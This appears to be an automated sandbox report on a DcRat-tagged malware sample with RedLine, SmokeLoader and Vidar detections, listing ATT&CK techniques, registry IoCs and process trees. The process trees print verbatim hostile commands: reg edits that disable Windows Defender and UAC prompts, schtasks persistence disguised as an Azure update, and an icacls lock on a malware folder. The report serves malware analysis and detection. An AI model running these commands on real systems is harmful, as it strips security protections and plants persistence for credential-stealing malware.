dcrat | 64fd6b697aa121c56904bcee8a181e7f2b285a4dc40f4b21a3fa4cf285355438

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4540-276-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

Processes:

reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file

Executes dropped EXE 12 IoCs

Processes:

909.exeD60.exe1BB9.exe1D31.exe909.exe909.exe909.exebuild2.exebuild3.exebuild2.exe1D31.exemstsca.exe

pid	process
4840	909.exe
3336	D60.exe
544	1BB9.exe
3784	1D31.exe
2260	909.exe
4668	909.exe
5036	909.exe
216	build2.exe
1756	build3.exe
3756	build2.exe
4540	1D31.exe
3012	mstsca.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

1D31.exe909.exe909.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	1D31.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	909.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	909.exe

Loads dropped DLL 3 IoCs

Processes:

regsvr32.exebuild2.exe

pid process

796 regsvr32.exe
3756 build2.exe
3756 build2.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

4352 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
796	regsvr32.exe
3756	build2.exe
3756	build2.exe

pid	process
4352	icacls.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

909.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\bb818973-8715-44f0-bded-6d5939b8434d\\909.exe\" --AutoStart"	909.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

48 api.2ip.ua
55 api.2ip.ua
47 api.2ip.ua

flow	ioc
48	api.2ip.ua
55	api.2ip.ua
47	api.2ip.ua

Suspicious use of SetThreadContext 4 IoCs

Processes:

909.exe909.exebuild2.exe1D31.exe

description	pid	process	target process
PID 4840 set thread context of 2260	4840	909.exe	909.exe
PID 4668 set thread context of 5036	4668	909.exe	909.exe
PID 216 set thread context of 3756	216	build2.exe	build2.exe
PID 3784 set thread context of 4540	3784	1D31.exe	1D31.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

file.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2872 schtasks.exe
1396 schtasks.exe

pid	process
2872	schtasks.exe
1396	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

file.exe

pid	process
4196	file.exe
4196	file.exe
3092
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Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3092
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

file.exe

pid process

4196 file.exe
3092
3092
3092
3092

pid	process
3092

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

1D31.exewmic.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	3784	1D31.exe
Token: SeIncreaseQuotaPrivilege	3260	wmic.exe
Token: SeSecurityPrivilege	3260	wmic.exe
Token: SeTakeOwnershipPrivilege	3260	wmic.exe
Token: SeLoadDriverPrivilege	3260	wmic.exe
Token: SeSystemProfilePrivilege	3260	wmic.exe
Token: SeSystemtimePrivilege	3260	wmic.exe
Token: SeProfSingleProcessPrivilege	3260	wmic.exe
Token: SeIncBasePriorityPrivilege	3260	wmic.exe
Token: SeCreatePagefilePrivilege	3260	wmic.exe
Token: SeBackupPrivilege	3260	wmic.exe
Token: SeRestorePrivilege	3260	wmic.exe
Token: SeShutdownPrivilege	3260	wmic.exe
Token: SeDebugPrivilege	3260	wmic.exe
Token: SeSystemEnvironmentPrivilege	3260	wmic.exe
Token: SeRemoteShutdownPrivilege	3260	wmic.exe
Token: SeUndockPrivilege	3260	wmic.exe
Token: SeManageVolumePrivilege	3260	wmic.exe
Token: 33	3260	wmic.exe
Token: 34	3260	wmic.exe
Token: 35	3260	wmic.exe
Token: 36	3260	wmic.exe
Token: SeIncreaseQuotaPrivilege	3260	wmic.exe
Token: SeSecurityPrivilege	3260	wmic.exe
Token: SeTakeOwnershipPrivilege	3260	wmic.exe
Token: SeLoadDriverPrivilege	3260	wmic.exe
Token: SeSystemProfilePrivilege	3260	wmic.exe
Token: SeSystemtimePrivilege	3260	wmic.exe
Token: SeProfSingleProcessPrivilege	3260	wmic.exe
Token: SeIncBasePriorityPrivilege	3260	wmic.exe
Token: SeCreatePagefilePrivilege	3260	wmic.exe
Token: SeBackupPrivilege	3260	wmic.exe
Token: SeRestorePrivilege	3260	wmic.exe
Token: SeShutdownPrivilege	3260	wmic.exe
Token: SeDebugPrivilege	3260	wmic.exe
Token: SeSystemEnvironmentPrivilege	3260	wmic.exe
Token: SeRemoteShutdownPrivilege	3260	wmic.exe
Token: SeUndockPrivilege	3260	wmic.exe
Token: SeManageVolumePrivilege	3260	wmic.exe
Token: 33	3260	wmic.exe
Token: 34	3260	wmic.exe
Token: 35	3260	wmic.exe
Token: 36	3260	wmic.exe
Token: SeShutdownPrivilege	3092
Token: SeCreatePagefilePrivilege	3092
Token: SeDebugPrivilege	3748	powershell.exe
Token: SeIncreaseQuotaPrivilege	688	WMIC.exe
Token: SeSecurityPrivilege	688	WMIC.exe
Token: SeTakeOwnershipPrivilege	688	WMIC.exe
Token: SeLoadDriverPrivilege	688	WMIC.exe
Token: SeSystemProfilePrivilege	688	WMIC.exe
Token: SeSystemtimePrivilege	688	WMIC.exe
Token: SeProfSingleProcessPrivilege	688	WMIC.exe
Token: SeIncBasePriorityPrivilege	688	WMIC.exe
Token: SeCreatePagefilePrivilege	688	WMIC.exe
Token: SeBackupPrivilege	688	WMIC.exe
Token: SeRestorePrivilege	688	WMIC.exe
Token: SeShutdownPrivilege	688	WMIC.exe
Token: SeDebugPrivilege	688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	688	WMIC.exe
Token: SeRemoteShutdownPrivilege	688	WMIC.exe
Token: SeUndockPrivilege	688	WMIC.exe
Token: SeManageVolumePrivilege	688	WMIC.exe
Token: 33	688	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

regsvr32.exeD60.exe1D31.execmd.exe909.execmd.exe909.exe909.exe

description	pid	process	target process
PID 3092 wrote to memory of 4388	3092		regsvr32.exe
PID 3092 wrote to memory of 4388	3092		regsvr32.exe
PID 4388 wrote to memory of 796	4388	regsvr32.exe	regsvr32.exe
PID 4388 wrote to memory of 796	4388	regsvr32.exe	regsvr32.exe
PID 4388 wrote to memory of 796	4388	regsvr32.exe	regsvr32.exe
PID 3092 wrote to memory of 4840	3092		909.exe
PID 3092 wrote to memory of 4840	3092		909.exe
PID 3092 wrote to memory of 4840	3092		909.exe
PID 3092 wrote to memory of 3336	3092		D60.exe
PID 3092 wrote to memory of 3336	3092		D60.exe
PID 3092 wrote to memory of 3336	3092		D60.exe
PID 3092 wrote to memory of 544	3092		1BB9.exe
PID 3092 wrote to memory of 544	3092		1BB9.exe
PID 3092 wrote to memory of 544	3092		1BB9.exe
PID 3092 wrote to memory of 3784	3092		1D31.exe
PID 3092 wrote to memory of 3784	3092		1D31.exe
PID 3092 wrote to memory of 3784	3092		1D31.exe
PID 3092 wrote to memory of 204	3092		explorer.exe
PID 3092 wrote to memory of 204	3092		explorer.exe
PID 3092 wrote to memory of 204	3092		explorer.exe
PID 3092 wrote to memory of 204	3092		explorer.exe
PID 3092 wrote to memory of 328	3092		explorer.exe
PID 3092 wrote to memory of 328	3092		explorer.exe
PID 3092 wrote to memory of 328	3092		explorer.exe
PID 3336 wrote to memory of 3260	3336	D60.exe	wmic.exe
PID 3336 wrote to memory of 3260	3336	D60.exe	wmic.exe
PID 3336 wrote to memory of 3260	3336	D60.exe	wmic.exe
PID 3784 wrote to memory of 3748	3784	1D31.exe	powershell.exe
PID 3784 wrote to memory of 3748	3784	1D31.exe	powershell.exe
PID 3784 wrote to memory of 3748	3784	1D31.exe	powershell.exe
PID 3336 wrote to memory of 4604	3336	D60.exe	cmd.exe
PID 3336 wrote to memory of 4604	3336	D60.exe	cmd.exe
PID 3336 wrote to memory of 4604	3336	D60.exe	cmd.exe
PID 4604 wrote to memory of 688	4604	cmd.exe	WMIC.exe
PID 4604 wrote to memory of 688	4604	cmd.exe	WMIC.exe
PID 4604 wrote to memory of 688	4604	cmd.exe	WMIC.exe
PID 3336 wrote to memory of 4012	3336	D60.exe	cmd.exe
PID 3336 wrote to memory of 4012	3336	D60.exe	cmd.exe
PID 3336 wrote to memory of 4012	3336	D60.exe	cmd.exe
PID 4840 wrote to memory of 2260	4840	909.exe	909.exe
PID 4840 wrote to memory of 2260	4840	909.exe	909.exe
PID 4840 wrote to memory of 2260	4840	909.exe	909.exe
PID 4840 wrote to memory of 2260	4840	909.exe	909.exe
PID 4840 wrote to memory of 2260	4840	909.exe	909.exe
PID 4840 wrote to memory of 2260	4840	909.exe	909.exe
PID 4840 wrote to memory of 2260	4840	909.exe	909.exe
PID 4840 wrote to memory of 2260	4840	909.exe	909.exe
PID 4840 wrote to memory of 2260	4840	909.exe	909.exe
PID 4840 wrote to memory of 2260	4840	909.exe	909.exe
PID 4012 wrote to memory of 4148	4012	cmd.exe	WMIC.exe
PID 4012 wrote to memory of 4148	4012	cmd.exe	WMIC.exe
PID 4012 wrote to memory of 4148	4012	cmd.exe	WMIC.exe
PID 2260 wrote to memory of 4352	2260	909.exe	icacls.exe
PID 2260 wrote to memory of 4352	2260	909.exe	icacls.exe
PID 2260 wrote to memory of 4352	2260	909.exe	icacls.exe
PID 2260 wrote to memory of 4668	2260	909.exe	909.exe
PID 2260 wrote to memory of 4668	2260	909.exe	909.exe
PID 2260 wrote to memory of 4668	2260	909.exe	909.exe
PID 4668 wrote to memory of 5036	4668	909.exe	909.exe
PID 4668 wrote to memory of 5036	4668	909.exe	909.exe
PID 4668 wrote to memory of 5036	4668	909.exe	909.exe
PID 4668 wrote to memory of 5036	4668	909.exe	909.exe
PID 4668 wrote to memory of 5036	4668	909.exe	909.exe
PID 4668 wrote to memory of 5036	4668	909.exe	909.exe

outlook_office_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4196

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\7B1.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:4388
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\7B1.dll
  2⤵
  - Loads dropped DLL
  PID:796

C:\Users\Admin\AppData\Local\Temp\909.exe
C:\Users\Admin\AppData\Local\Temp\909.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4840
- C:\Users\Admin\AppData\Local\Temp\909.exe
  C:\Users\Admin\AppData\Local\Temp\909.exe
  2⤵
  - DcRat
  - Executes dropped EXE
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\bb818973-8715-44f0-bded-6d5939b8434d" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:4352
- - C:\Users\Admin\AppData\Local\Temp\909.exe
    "C:\Users\Admin\AppData\Local\Temp\909.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:4668
  - - C:\Users\Admin\AppData\Local\Temp\909.exe
      "C:\Users\Admin\AppData\Local\Temp\909.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Checks computer location settings
      PID:5036
    - - C:\Users\Admin\AppData\Local\a3535050-c279-491e-8ad5-19d8e70cb2f3\build2.exe
        
        "C:\Users\Admin\AppData\Local\a3535050-c279-491e-8ad5-19d8e70cb2f3\build2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:216
      - C:\Users\Admin\AppData\Local\a3535050-c279-491e-8ad5-19d8e70cb2f3\build2.exe
        
        "C:\Users\Admin\AppData\Local\a3535050-c279-491e-8ad5-19d8e70cb2f3\build2.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3756
    - - C:\Users\Admin\AppData\Local\a3535050-c279-491e-8ad5-19d8e70cb2f3\build3.exe
        
        "C:\Users\Admin\AppData\Local\a3535050-c279-491e-8ad5-19d8e70cb2f3\build3.exe"
        5⤵
        Executes dropped EXE
        
        PID:1756
      - C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        6⤵
        DcRat
        Creates scheduled task(s)
        
        PID:2872

C:\Users\Admin\AppData\Local\Temp\D60.exe
C:\Users\Admin\AppData\Local\Temp\D60.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3336
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3260
- C:\Windows\SysWOW64\cmd.exe
  cmd /C "wmic path win32_VideoController get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4604
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:688
- C:\Windows\SysWOW64\cmd.exe
  cmd /C "wmic cpu get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4012
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic cpu get name
    3⤵
    PID:4148

C:\Users\Admin\AppData\Local\Temp\1BB9.exe
C:\Users\Admin\AppData\Local\Temp\1BB9.exe
1⤵
- Executes dropped EXE
PID:544

C:\Users\Admin\AppData\Local\Temp\1D31.exe
C:\Users\Admin\AppData\Local\Temp\1D31.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3784
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3748
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Tqqcbghwdivfantidef.bat" "
  2⤵
  PID:4944
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
    3⤵
    PID:2484
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t "REG_DWORD" /d 0 /f
    3⤵
    - UAC bypass
    PID:4188
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:4144
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:1196
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:400
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:4380
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3464
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2664
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1444
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3364
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1764
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:1956
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    PID:3948
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:1784
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:1892
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:4960
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:5016
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:1320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:3808
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:4148
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:960
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    PID:3028
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    PID:4824
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:3120
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:4200
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:792
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:504
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4688
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3108
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4908
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:1412
- C:\Users\Admin\AppData\Local\Temp\1D31.exe
  C:\Users\Admin\AppData\Local\Temp\1D31.exe
  2⤵
  - Executes dropped EXE
  PID:4540

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:204

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:328

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:3012
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - DcRat
  - Creates scheduled task(s)
  PID:1396

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Modify Registry

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery